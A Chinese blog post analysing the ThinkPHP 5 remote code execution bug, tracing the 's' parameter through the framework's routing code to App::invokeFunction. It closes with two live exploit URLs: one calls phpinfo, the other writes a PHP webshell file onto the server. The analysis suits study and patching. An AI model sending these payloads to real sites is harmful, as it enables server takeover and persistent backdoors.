ThinkPHP5 RCE分析

虽然ThinkPHP的RCE洞都过了好久,也尽管经历过该漏洞的影响,看得也是人家的漏洞分析,今天尝试自己分析一下!

根据官方的更新说明:“由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的Getshell漏洞”

因此出现问题的地方在路由调度上

0x00 为什么是参数s?

网上常见的payload都是 /index.php?s=xxxx 开头的

那么定位到了pathinfo()函数

thinkphp\library\think\Request.php第379行

/**
 * 获取当前请求URL的pathinfo信息(含URL后缀)
 * @access public
 * @return string
 */
public function pathinfo()
{
    if (is_null($this->pathinfo)) {
        if (isset($_GET[Config::get('var_pathinfo')])) {
            // 判断URL里面是否有兼容模式参数
            $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
            unset($_GET[Config::get('var_pathinfo')]);
        } elseif (IS_CLI) {
            // CLI模式下 index.php module/controller/action/params/...
            $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
        }

        // 分析PATHINFO信息
        if (!isset($_SERVER['PATH_INFO'])) {
            foreach (Config::get('pathinfo_fetch') as $type) {
                if (!empty($_SERVER[$type])) {
                    $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
                    substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
                    break;
                }
            }
        }
        $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
    }
    return $this->pathinfo;
}

thinkphp\convention.php 文件中第67行开始,这个文件就是ThinkPHP默认按照“开发惯例”的一些参数配置

// +----------------------------------------------------------------------
// | URL设置
// +----------------------------------------------------------------------

// PATHINFO变量名 用于兼容模式
'var_pathinfo'           => 's',

这里说明了,默认的var_pathinfo的参数名是s,也就是为什么我们看到大部分的Payload都是参数s的原因

通过如上两部份代码,可知,在没有开启强路由的时候,程序默认先去判断是否使用pathinfo()方法中判断URL里面是否有兼容模式参数(参数s)。

然后将$_SERVER['PATH_INFO']的值设置为GET参数s的值


0x01 何处调用了pathinfo()?

通过当前文件搜索,发现就在其下就是函数path()

// thinkphp\library\think\Request.php 411行
/**
 * 获取当前请求URL的pathinfo信息(不含URL后缀)
 * @access public
 * @return string
 */
public function path()
{
    if (is_null($this->path)) {
        $suffix   = Config::get('url_html_suffix');
        $pathinfo = $this->pathinfo();
        if (false === $suffix) {
            // 禁止伪静态访问
            $this->path = $pathinfo;
        } elseif ($suffix) {
            // 去除正常的URL后缀
            $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
        } else {
            // 允许任何后缀访问
            $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
        }
    }
    return $this->path;
}

另外同样在开发惯例配置中,有如下配置

'url_html_suffix'        => 'html',

那么$pathinfo就是我们可以完全控制的


0x02 何处调用path()?

定位到 thinkphp\library\think\App.php 第609行

/**
 * URL路由检测(根据PATH_INFO)
 * @access public
 * @param  \think\Request $request 请求实例
 * @param  array          $config  配置信息
 * @return array
 * @throws \think\Exception
 */
public static function routeCheck($request, array $config)
{
    $path   = $request->path();
    $depr   = $config['pathinfo_depr'];
    $result = false;

    // 路由检测
    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
    if ($check) {
        // 开启路由
        if (is_file(RUNTIME_PATH . 'route.php')) {
            // 读取路由缓存
            $rules = include RUNTIME_PATH . 'route.php';
            is_array($rules) && Route::rules($rules);
        } else {
            $files = $config['route_config_file'];
            foreach ($files as $file) {
                if (is_file(CONF_PATH . $file . CONF_EXT)) {
                    // 导入路由配置
                    $rules = include CONF_PATH . $file . CONF_EXT;
                    is_array($rules) && Route::import($rules);
                }
            }
        }

        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

        if ($must && false === $result) {
            // 路由无效
            throw new RouteNotFoundException();
        }
    }

    // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
    if (false === $result) {
        $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
    }

    return $result;
}

// ...
// 第660行
/**
 * 设置应用的路由检测机制
 * @access public
 * @param  bool $route 是否需要检测路由
 * @param  bool $must  是否强制检测路由
 * @return void
 */
public static function route($route, $must = false)
{
    self::$routeCheck = $route;
    self::$routeMust  = $must;
}

其中调用了

$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

检查判断路由

定位到Router类中的check()方法

thinkphp\library\think\Route.php 第827行

Router::check()

由如上两处:

if ($must && false === $result) {
    // 路由无效
    throw new RouteNotFoundException();
}

若开启了强制路由,那么就不会受到影响,直接抛出了NotFound的异常(即404)。

之后若路由规则还是不匹配,将会parseUrl

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
    $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

定位到:thinkphp\library\think\Route.php 第1200行

/**
 * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
 * @access public
 * @param string    $url URL地址
 * @param string    $depr URL分隔符
 * @param bool      $autoSearch 是否自动深度搜索控制器
 * @return array
 */
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{

    if (isset(self::$bind['module'])) {
        $bind = str_replace('/', $depr, self::$bind['module']);
        // 如果有模块/控制器绑定
        $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
    }
    $url              = str_replace($depr, '|', $url);
    list($path, $var) = self::parseUrlPath($url);
    $route            = [null, null, null];
    if (isset($path)) {
        // 解析模块
        $module = Config::get('app_multi_module') ? array_shift($path) : null;
        if ($autoSearch) {
            // 自动搜索控制器
            $dir    = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer');
            $suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : '';
            $item   = [];
            $find   = false;
            foreach ($path as $val) {
                $item[] = $val;
                $file   = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT;
                $file   = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT;
                if (is_file($file)) {
                    $find = true;
                    break;
                } else {
                    $dir .= DS . Loader::parseName($val);
                }
            }
            if ($find) {
                $controller = implode('.', $item);
                $path       = array_slice($path, count($item));
            } else {
                $controller = array_shift($path);
            }
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }
        // 解析操作
        $action = !empty($path) ? array_shift($path) : null;
        // 解析额外参数
        self::parseUrlParams(empty($path) ? '' : implode('|', $path));
        // 封装路由
        $route = [$module, $controller, $action];
        // 检查地址是否被定义过路由
        $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
        $name2 = '';
        if (empty($module) || isset($bind) && $module == $bind) {
            $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
        }

        if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
            throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
        }
    }
    return ['type' => 'module', 'module' => $route];
}

其就开始了正常的路由的模块、控制器、操作和参数匹配,返回对应的内容

0x03 何处调用routeCheck()?

在框架的最基础run()函数中,thinkphp\library\think\App.php 第70行

run()

dipatch()方法记录当前的路由请求信息,可以理解成为参数解析,将路由中的模块解析,拆分出控制器,方法

然后在run()方法最后调用执行了调用分发函数

$data = self::exec($dispatch, $config);

定位到exec()函数

exec()

再来到moudle()函数,thinkphp\library\think\App.php 第486行

就是典型的动态加载执行类、方法的一个函数

那么现在就是要找一个在thinkPHP自带的类中危险的函数

找到new \ReflectionFunction($function),PHP中的反射

/**
 * 执行函数或者闭包方法 支持参数调用
 * @access public
 * @param string|array|\Closure $function 函数或者闭包
 * @param array                 $vars     变量
 * @return mixed
 */
public static function invokeFunction($function, $vars = [])
{
    $reflect = new \ReflectionFunction($function);
    $args    = self::bindParams($reflect, $vars);

    // 记录执行信息
    self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

    return $reflect->invokeArgs($args);
}

这里就可以执行任意函数了

因此可以构造如下payload:

// 查看phpinfo
http://www.test.com/index.php?s=index/\think\App/invokeFunction&function=call_user_function&vars[0]=phpinfo&vars[1][]=1

// 写文件
http://www.test.com/public/?s=index/\think\App/invokeFunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=s.php&vars[1][1]=%3C%3Fphp%20%40assert(%24_GET%5Bdyboy%5D)%3B%3F%3E

完事儿~

发表评论 / Comment

用心评论~


Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/blog.dyboy.cn/content/templates/dyblog/footer.php:56) in /www/wwwroot/blog.dyboy.cn/include/lib/view.php on line 23